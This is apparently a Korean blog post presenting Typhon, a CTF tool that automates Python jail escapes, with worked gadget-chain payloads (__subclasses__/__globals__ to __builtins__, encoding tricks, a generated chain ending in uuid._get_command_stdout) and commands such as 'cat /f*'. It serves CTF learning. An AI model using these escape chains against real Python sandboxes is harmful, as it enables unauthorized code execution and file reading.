타이푼: 파이썬 감옥 자동화 우회 방법과 그 구현

CTF 문제가 발전함에 따라, 점점 더 많은 자동화 해결 도구가 등장하여 CTFer들은 번거롭고 고정된 해결 과정을 피하고, 진정으로 배우고 의미 있는 부분에 집중할 수 있게 되었습니다.

pyjail(파이썬 감옥)은 최근 몇 년간 대회에서 자주 등장하는 전형적인 CTF 문제 유형입니다. 그러나 전통적인 WAF 우회부터 RCE 또는 파일 읽기 문제에 이르기까지, 시간이 지남에 따라 이러한 문제들은 이미 상당히 성숙한 패턴으로 개발되어 왔습니다. 모든 자동화 해결 도구의 등장은 특정한 성숙한 패턴을 기반으로 합니다. 따라서 저는 파이썬 감옥 문제를 자동으로 해결하는 방법을 제안하고자 합니다. 이 아이디어는 최종적으로 Typhon이라는 조액하지만 사용 가능한 만능 도구로 구현되었습니다.

pip install TyphonBreaker

아이디어

정의

우리의 목표 문제 유형은 단 하나뿐입니다: 출제자가 제공하는 특정 WAF 전략을 우회하여, 제한된 샌드박스 환경에서 임의의 RCE 또는 파일 읽기를 수행하여 플래그를 획득하는 것.

이에 따라, 우리는 이러한 문제 유형의 두 가지 일반적인 목표를 정의합니다:

  • RCE
  • 파일 읽기

동시에, 샌드박스 환경에서 실제로 코드를 실행하는 함수를 sink라고 정의하며, 일반적으로 sink 지점은 exec() 또는 eval()입니다.

우리는 다음과 같이 생각합니다:

  • RCE의 경우, 코드가 실행되기만 하면 RCE 성공입니다. 따라서 우리는 출력 문제에 대해 신경 쓸 필요가 없습니다. 이는 execeval의 차이점에 대해 신경 쓸 필요가 없다는 것을 의미합니다.
  • 파일 읽기의 경우, 읽을 수 있는 파일 내용을 반환해야 합니다. 따라서 우리는 출력 문제에 신경 써야 합니다. 여기에는 오류 출력(예외를 통해 출력이 허용되는지)과 정상 출력(예: print()와 유사한 함수가 sink 지점의 반환값을 반환하는지) 두 가지 출력 방식이 포함됩니다. 어떤 sink 지점이든 오류 출력이 허용된다면 stderr을 통해 파일 정보를 유출할 수 있습니다. 정상 출력의 경우, execeval은 처리 방식에서 약간의 차이가 있으며, 이 부분은 생략하겠습니다.

우리는 WAF를 세 가지 범주로 정의합니다:

  • 문자 제한. 일반적인 흑백 목록, 정규 표현식, 길이 제한 등
  • 런타임 제한. 예를 들어 audithook(아직 지원되지 않음)
  • 네임스페이스 제한. 이 제한은 sink 지점의 두 번째와 세 번째 인수에서 나타납니다(예: exec(cmd, {'__builtins__': None})__builtins__를 모두 삭제합니다)

참고: sink 지점의 두 번째와 세 번째 인수에 대한 설명은 다음과 같습니다:

문제를 단순화하기 위해, localsglobals의 중첩을 local_scope로 통합하며, 즉 샌드박스 실행 시의 로컬 네임스페이스입니다. 둘 중첩 시 충돌이 발생하는 경우, 위 그림 설명을 참조하십시오.

우리는 두 가지 우회 방식을 정의합니다:

  • path: 다른 페이로드를 통해 우회하는 방법(예: os.system('calc')와 subprocess.Popen('calc'))
  • technique: 동일한 유효 페이로드에 대해 다른 기술을 사용하여 우회하는 방법(예: os.system('c'+'a'+'l'+'c')와 os.system('clac'[::-1]))

여기서 path 우회는 네임스페이스 제한과만 관련이 있습니다. technique 우회는 문자 제한과만 관련이 있습니다.

경로: 네임스페이스 제한 우회

먼저 자동화를 통해 네임스페이스 제한을 우회하는 방법에 대해 이야기해 보겠습니다.

왜 일부 pyjail 문제는 이미 자동화 도구를 사용하여 해결할 수 있다고 말하는 것일까요? 이는 이미 고도로 프로세스화되었기 때문입니다. 예를 들어:

exec(input('>> '))

이 페이로드는 눈을 감고도 작성할 수 있을 것입니다:

__import__('os').system('calc')

이를 다음과 같이 분해할 수 있습니다:

  • __builtins__에서 함수 __import__를 가져옵니다.
  • os 패키지를 가져와서 os 패키지의 system 함수를 사용하여 RCE를 수행합니다.

이제 제한을 추가해 보겠습니다 - 로컬 공간에 __import__가 없습니다.

exec(input('>> '),{'__import__':None})

그러면 우리는 __builtins__를 가져온 후, __builtins__에서 __import__를 가져와야 합니다.

__builtins__를 어떻게 가져올까요? 간단합니다. 다른 함수가 있으므로 __self__ 매직 메서드를 사용하여 __builtins__ 집합을 가져올 수 있습니다:

id.__self__

이렇게 하면 __builtins__를 얻었습니다. 이후 내용은 위와 동일하며, 다음과 같이 작성합니다:

id.__self__.__import__('os').system('calc')

더 높은 난이도로 진행해 보겠습니다. 현재 네임스페이스에 __builtins__가 없다고 가정합니다.

exec(input('>> '),{'__builtins__':None})

그러면 모든 내장 함수와 클래스가 삭제됩니다. 우리는 1, (), {}와 같은 내장 객체만 남게 됩니다.

Python에서 __main__, 즉 현재 네임스페이스의 __builtins__가 삭제된 경우, 다른 네임스페이스의 클래스에서 함수를 찾은 후 __globals__를 사용하여 이 네임스페이스의 __builtins__를 찾을 수 있습니다.

{} 객체를 예로 들어 보겠습니다:

Python 객체의 __class__ 매직 속성을 통해 해당 클래스를 반환할 수 있습니다. 따라서 {}.__class__를 통해 <class 'dict'>를 얻었습니다. 다음으로, Python 클래스의 __subclasses__() 매직 메서드를 통해 이를 상속하는 모든 클래스를 가져올 수 있습니다:

이를 통해 다른 네임스페이스에 있는 네 개의 클래스를 얻었습니다.

두 번째 클래스를 예로 들어 보겠습니다.

dir로 확인해 보면:

copy를 예로 들어 보겠습니다:

성공적으로 __builtins__를 얻었습니다. 이후 내용은 위와 동일합니다.

{}.__class__.__subclasses__()[2].copy.__globals__['__builtins__']['__import__']('os').system('calc')

여기서 깨닫게 된 점이 있을 것입니다: 이후 내용은 위와 동일이 여러 번 나타났습니다. 맞습니다, 현재로서는 우리의 목표는 os.system()이며, 이를 얻기 위해 __import__를 동적으로 가져올 수 있습니다. 이를 얻으려면 __builtins__를 찾아야 하며, 이를 얻기 위해...

명백히, RCE 방법는 여러 가지가 있습니다. 이는 subprocess.run 또는 uuid._get_command_stdout일 수도 있습니다. 명백히, 패키지를 가져오는 방법은 __import__뿐만 아니라 __loader__.load_module 또는 sys.modules일 수도 있습니다. 명백히, __builtins__를 얻는 방법은 여러 가지가 있습니다...

가능한 모든 유용한 것들을 수집하여 하나로 조합할 수 있습니다. 네, 이것이 우리의 자동화 아이디어입니다: gadgets chain.

또 다른 예를 들어 보겠습니다. 다음과 같은 블랙리스트가 있다고 가정해 봅시다:

  • 로컬 네임스페이스에 __builtins__가 없으며, 문자열만 시작점으로 사용할 수 있습니다(우리는 이전 예제에서 딕셔너리 객체를 시작점으로 사용했습니다).

다음과 같이 처리합니다:

  • 먼저, 'J'.__class__.__class__를 통해 type(클래스 빌더)을 가져옵니다.
  • 그런 다음, type을 얻은 후 __builtins__를 가져올 수 있는 RCE 체인 TYPE.__subclasses__(TYPE)[0].register.__globals__['__builtins__']을 찾습니다.
  • 그런 다음, __builtins__를 얻은 후 RCE 체인 BUILTINS_SET['breakpoint']()을 찾습니다.
  • 마지막으로, __builtins__ 딕셔너리를 나타내는 자리 표시자 BUILTINS_SET를 이전 단계에서 얻은 __builtins__ 경로로 대체하고, 마찬가지로 TYPE 자리 표시자를 실제 경로로 대체하여 최종 페이로드를 얻습니다.
'J'.__class__.__class__.__subclasses__('J'.__class__.__class__)[0].register.__globals__['__builtins__']['breakpoint']()

여기서 우리의 자동화 아이디어를 도출할 수 있습니다: 우리는 수십 가지의 gadgets를 내장하고, 단계별로 폭발적으로 찾아내며, 가능한 한 많이 찾은 후 이들을 하나로 조합합니다.

워크플로우

간단히 구현해 보겠습니다. 우리는 세 가지 함수를 정의하고 bypassMAIN을 주 함수로 사용합니다. 이 함수는 가능한 한 많이 수집하는 역할을 합니다. 그런 다음 두 개의 최종 함수 bypassRCE(RCE용)와 bypassREAD(파일 읽기용)를 정의하여 상류 함수가 수집한 내용을 요구에 따라 조합하여 최종 페이로드를 형성합니다:

  • 각 최종 함수(bypassRCE, bypassREAD)는 주 함수 bypassMAIN을 호출하며, 주 함수는 가능한 모든 사용 가능한 gadgets(위 예제의 type 포함)를 수집하고 해당 내용을 하위 함수에 전달합니다.
  • bypassMAIN 함수는 현재 변수 공간을 간단히 분석한 후 다음을 수행합니다:
  • 직접 RCE 시도(예: help(), breakpoint())
  • 제너레이터 획득 시도
  • type 획득 시도
  • object 획득 시도
  • 현재 공간의 __builtins__가 삭제되지 않았지만 수정된 경우, 복구 시도(예: id.__self__)
  • 현재 공간의 __builtins__가 삭제된 경우, 다른 네임스페이스에서 복구 시도
  • 상기 내용을 바탕으로 상속 체인 우회 시도
  • import 패키지 능력 획득 시도
  • 복구된 __builtins__를 통한 직접 RCE 시도
  • 결과를 하위 함수에 전달
  • 하위 함수는 bypassMAIN의 결과를 받은 후, 해당 함수가 구현하는 요구에 따라 해당 gadgets를 선택하여 처리합니다(bypassRCE는 RCE에 집중하고, bypassREAD는 파일 읽기에 집중). 이 과정은 위와 유사합니다.

이를 통해 우리는 로컬 네임스페이스 제한의 자동화 우회를 완료했습니다.

기술: 문자 제한 우회

흑백 목록, 정규 표현식, 길이 제한... 이제는 지겨워졌습니다.

따라서 재귀 기반 알고리즘을 사용한 우회 도구를 작성했습니다. 아이디어는 다음과 같습니다:

  • 수십 가지 우회 도구를 정의합니다. 예를 들어, 모든 문자를 반전시키는 도구('__builtins__' -> '__snitliub__'[::-1])와 모든 문자열을 hex로 인코딩하는 도구('__builtins__' -> '\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f')가 있습니다.
  • '__builtins__' 이 페이로드를 처리할 때, 먼저 첫 번째 우회 도구를 실행하고, 두 번째 우회 도구를 실행한 후, 둘을 결합하여 실행합니다. 우리는 네 가지 결과물을 얻게 됩니다:
  • '__builtins__'
  • '__snitliub__'[::-1]
  • '\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f'
  • '\x5f\x5f\x73\x6e\x69\x74\x6c\x69\x75\x62\x5f\x5f'[::-1]

이들은 모두 Python에서 동일한 의미를 가집니다. 모두 '__builtins__'를 의미합니다.

우리는 이와 유사한 많은 우회 도구를 가지고 있습니다. 일부 우회 도구는 특정 요소가 로컬 네임스페이스에 있을 때만 트리거할 수 있습니다. 예를 들어, 문자를 chr()로 변환하는 도구('A' -> chr(41))는 현재 공간에 있거나 우회 방법을 통해 얻을 수 있을 때만 사용합니다.

결론적으로...

즉, 우리는 네임스페이스에서 적절한 gadgets를 선택하여 우회 도구에 넣습니다. 이가 모든 블랙리스트 조건을 만족한다면 이 gadgets를 네임스페이스에 추가합니다. 그리고 다음에 찾을 수 있는 것을 계속 찾습니다. 이때, pathtechnique 단계 모두 이전 단계의 영향을 받습니다. (예: 이전 단계에서 base64를 성공적으로 찾았다면, 다음 단계의 우회 도구에 base64 인코딩 우회가 나타납니다.)

타이푼: 간단한 구현

"말은 쉽고, 코드를 보여주라"는 분들이 있을 것입니다. 바로 이것이 Typhon입니다: https://github.com/Team-intN18-SoybeanSeclab/Typhon

이 글이 작성될 당시, 다운로드 수는 2k를 넘었습니다.

Typhon은 위 아이디어의 간략한 구현체입니다. pip을 사용하여 설치할 수 있습니다:

pip install TyphonBreaker

두 가지 함수를 캡슐화했습니다:

import Typhon
Typhon.bypassRCE(cmd: str,
    local_scope:dict=None,
    banned_chr:list=[],
    allowed_chr:list=[],
    banned_ast:list=[],
    banned_re:list=[],
    max_length:int=None,
    allow_unicode_bypass:bool=False,
    print_all_payload:bool=False,
    interactive:bool=True,
    depth:int=5,
    recursion_limit:int=200,
    log_level:str='INFO')

cmd: RCE에 사용할 bash 명령어 local_scope: 샌드박스 내의 전역 변수 공간, 제한이 없다면 이 매개변수는 무시됩니다 banned_chr: 금지된 문자 allowed_chr: 허용된 문자([]는 모든 것을 허용함) banned_ast: 금지된 AST 노드 banned_re: 금지된 정규 표현식(목록 또는 문자열) max_length: 페이로드의 최대 길이 allow_unicode_bypass: 유니코드 우회를 허용할지 여부 print_all_payload: 모든 페이로드를 출력할지 여부 interactive: 현재 pyjail이 stdin을 허용하는지(예: breakpoint()와 같은 페이로드가 유효한지) depth: 우회 도구 조합의 최대 깊이(기본값 사용 권장) recursion_limit: 최대 재귀 깊이(기본값 사용 권장) log_level: 출력 레벨(infodebug만 의미 있으며, 변경하지 않는 것이 좋습니다)

import Typhon
Typhon.bypassREAD(filepath: str,
    mode:str='eval',
    local_scope:dict=None,
    banned_chr:list=[],
    allowed_chr:list=[],
    banned_ast:list=[],
    banned_re:list=[],
    max_length:int=None,
    allow_unicode_bypass:bool=False,
    print_all_payload:bool=False,
    interactive:bool=True,
    depth:int=5,
    recursion_limit:int=200,
    log_level:str='INFO')

filepath: 읽을 파일 경로 mode: 샌드박스 내 RCE 모드, eval 또는 exec 선택 가능, 최종 외부 출력 로직과 관련됨 local_scope: 샌드박스 내의 전역 변수 공간, 제한이 없다면 이 매개변수는 무시됩니다 banned_chr: 금지된 문자 allowed_chr: 허용된 문자([]는 모든 것을 허용함) banned_ast: 금지된 AST 노드 banned_re: 금지된 정규 표현식(목록 또는 문자열) max_length: 페이로드의 최대 길이 allow_unicode_bypass: 유니코드 우회를 허용할지 여부 print_all_payload: 모든 페이로드를 출력할지 여부 interactive: 현재 pyjail이 stdin을 허용하는지(예: breakpoint()와 같은 페이로드가 유효한지) depth: 우회 도구 조합의 최대 깊이(기본값 사용 권장) recursion_limit: 최대 재귀 깊이(기본값 사용 권장) log_level: 출력 레벨(infodebug만 의미 있으며, 변경하지 않는 것이 좋습니다)

참고: 이 도구는 현재 bypassREAD 함수의 처리가 매우 엄격하지 않습니다(현재 버전에서는 외부 출력 방법을 고려하지 않았음). 이 함수는 향후 버전에서 크게 개선될 것입니다. (이 도구는 현재 저 개인이 진행하고 있어서 많은 고려되지 않고 부정확한 부분이 있을 수 있음을 양해 바랍니다)

예제

간단한 문제로 시도해 봅시다:

WELCOME = '''
  _     ______      _                              _       _ _ 
 | |   |  ____|    (_)                            | |     (_) |
 | |__ | |__   __ _ _ _ __  _ __   ___ _ __       | | __ _ _| |
 | '_ \|  __| / _` | | '_ \| '_ \ / _ \ '__|  _   | |/ _` | | |·
 | |_) | |___| (_| | | | | | | | |  __/ |    | |__| | (_| | | |
 |_.__/|______\__, |_|_| |_|_| |_|\___|_|     \____/ \__,_|_|_|
               __/ |                                           
              |___/                                            
'''

print(WELCOME)
 
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
if __name__ == '__main__':
    while True:
        cmd = input("Enter command: ")
        blacklist = ['__loader__','__import__','os','[:','\\x','+','join', '"', "'",'1','2','3','4','5','6','7','8','9','0b','subprocess'],
        for i in blacklist:
            if i in cmd:
                print("Command not allowed")
                break
        print(eval(cmd, {'__builtins__':None, 'lit':list, 'dic':dict}))

분석해 보겠습니다. 블랙리스트가 있고, 로컬 네임스페이스의 __builtins__가 삭제되었으며, listdict가 남아 있습니다.

생각하지 말고 바로 waf를 Typhon에 입력해 봅시다:

WELCOME = '''
  _     ______      _                              _       _ _ 
 | |   |  ____|    (_)                            | |     (_) |
 | |__ | |__   __ _ _ _ __  _ __   ___ _ __       | | __ _ _| |
 | '_ \|  __| / _` | | '_ \| '_ \ / _ \ '__|  _   | |/ _` | | |·
 | |_) | |___| (_| | | | | | | | |  __/ |    | |__| | (_| | | |
 |_.__/|______\__, |_|_| |_|_| |_|\___|_|     \____/ \__,_|_|_|
               __/ |                                           
              |___/                                            
'''

print(WELCOME)
 
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
if __name__ == '__main__':
        import Typhon
        Typhon.bypassRCE(cmd='calc',
                         banned_chr=['__loader__','__import__','os','[:','\\x','+','join', '"', "'",'1','2','3','4','5','6','7','8','9','0b','subprocess'],
                         local_scope={'__builtins__':None, 'lit':list, 'dic':dict},)

실행하고 잠시 기다리면:

해결됩니다:

lit.__class__.__subclasses__(lit.__class__)[0].register.__globals__[lit(dic(__builtins__=0))[0]][lit(dic(_=0))[0].__add__(lit(dic(_=0))[0]).__add__(lit(dic(i=0))[0]).__add__(lit(dic(m=0))[0]).__add__(lit(dic(p=0))[0]).__add__(lit(dic(o=0))[0]).__add__(lit(dic(r=0))[0]).__add__(lit(dic(t=0))[0]).__add__(lit(dic(_=0))[0]).__add__(lit(dic(_=0))[0])](lit(dic(uuid=0))[0])._get_command_stdout(lit(dic(calc=0))[0])

로컬에서 실행하여 검증:

Q&A

  • 언제 import Typhon 해야 하나요?

반드시 import Typhon 행을 Typhon 내장 우회 함수의 바로 위 행에 배치해야 합니다(PEP-8 강박증이 있더라도). 그렇지 않으면 Typhon이 스택 프레임을 통해 현재 전역 변수 공간을 가져올 수 없습니다.

예시:

def safe_run(cmd):
    import Typhon
    Typhon.bypassRCE(cmd,
    banned_chr=['builtins', 'os', 'exec', 'import'])

safe_run('cat /f*')

비예시:

import Typhon

def safe_run(cmd):
    Typhon.bypassRCE(cmd,
    banned_chr=['builtins', 'os', 'exec', 'import'])

safe_run('cat /f*')

  • 왜 문제와 동일한 Python 버전을 사용해야 하나요?

Pyjail에는 인덱스를 통해 해당 객체를 찾는 gadgets가 있습니다(상속 체인). 상속 체인의 활용은 인덱스 변화에 따라 크게 달라집니다. 따라서 Typhon의 실행 환경이 문제와 동일한지 확인해야 합니다.

보장할 수 없나요?

네, 대부분의 문제는 해당 Python 버전을 제공하지 않습니다. 따라서 Typhon은 버전 관련 gadgets를 사용할 때 경고 메시지를 표시합니다.

이 경우에는 CTF 참가자가 직접 문제 환경에서 해당 gadgets가 필요한 인덱스 값을 찾아야 합니다.

  • 문제의 execeval이 네임스페이스를 제한하지 않는 경우에는 어떻게 하나요?

문제가 네임스페이스를 제한하지 않는다고 가정하면, local_scope 매개변수를 입력할 필요가 없습니다. Typhon은 자동으로 import Typhon 시의 현재 네임스페이스를 사용하여 우회합니다.

  • 이 페이로드를 사용할 수 없는데 다른 걸로 바꿀 수 있나요?

매개변수에 print_all_payload=True를 추가하면, Typhon이 생성한 모든 페이로드를 출력합니다.

  • 이 웹 문제는 stdin이 열려 있지 않은 것 같은데, exec(input())이 작동하지 않나요?

매개변수에 interactive=False를 추가하면, Typhon이 모든 stdin 관련 페이로드를 사용하지 않게 됩니다.

  • 최종 출력된 페이로드에 출력이 없나요?

bypassRCE의 경우, 명령이 실행되기만 하면 RCE 성공이라고 봅니다. 출력 문제의 경우, 리버스 셸을 사용하거나 시간 기반 주입을 선택하거나: print_all_payload=True 매개변수를 추가하여 모든 페이로드를 확인할 수 있습니다. 그 중 성공적으로 출력될 수 있는 페이로드가 있을 수 있습니다.

제한 사항

  • 현재 Typhon은 Python 3.9 이상 버전만 지원합니다.

  • 현재 Typhon은 리눅스 샌드박스만 지원합니다.

  • 현재 Typhon은 아직 audithook 샌드박스를 우회할 수 없습니다.

  • Typhon이 국소 최적의 재귀 전략을 사용하기 때문에, 일부 간단한 문제의 경우 오히려 더 오랜 시간(약 1분)이 걸립니다.

  • 현재 지원되지 않는 알려진 우회 방법:

  • Typhon은 list.pop(0)list[0] 대신 사용하는 것을 지원하지 않습니다. 이는 Typhon이 생성하는 페이로드는 로컬에서 실행하여 검증해야만 유효하기 때문입니다. 그러나 pop 메서드는 검증 시 요소를 목록에서 삭제하여 후속 환경을 파괴합니다.

추가: 이 프로젝트는 향후 bash 명령어에 대한 별도의 우회 도구(cat /flag -> cat$IFS$9/*)를 추가할 계획입니다. bash 우회를 위한 내장 우회기에 대해, bashFuck 프로젝트 저자 @ProbiusOfficial의 사전 허용에 감사드립니다.

요약

읽어주셔서 감사합니다.

위 내용은 저의 pyjail 자동화 우회에 대한 몇 가지 생각과 간단한 구현입니다.

단순히 말하기보다는, 오히려 조액하다고 할 수 있습니다. 현재 프로젝트의 능력은 매우 제한적이며, 코드량이 이미 어마어마한 3k+에 달합니다. 또한 개인의 실력이 매우 제한적이기 때문에, 여러 번 리팩토링을 거쳐 마침내 실행 가능한 무언가를 완성했습니다. 점점 더 나아지기를 바랍니다.

동시에, 언제든지 issue와 PR을 제안해 주십시오. 우리는 Typhon으로 해결할 수 없는 문제(가능하다면 wp와 함께)를 장기적으로 수집하여 도구 능력 향상의 참고 자료로 삼을 것입니다. 보답으로, 귀하의 github ID가 다음 릴리즈에 나타날 것입니다.

다시 한번, 개인의 실력이 매우 제한적이기 때문에, 이는 상당히 단순하고 조액한 구현체입니다. 많은 양해 부탁드립니다.

이상입니다.

태그: 파이썬 CTF 보안 자동화 도구 우회 기술

5월 20일 09:04에 게시됨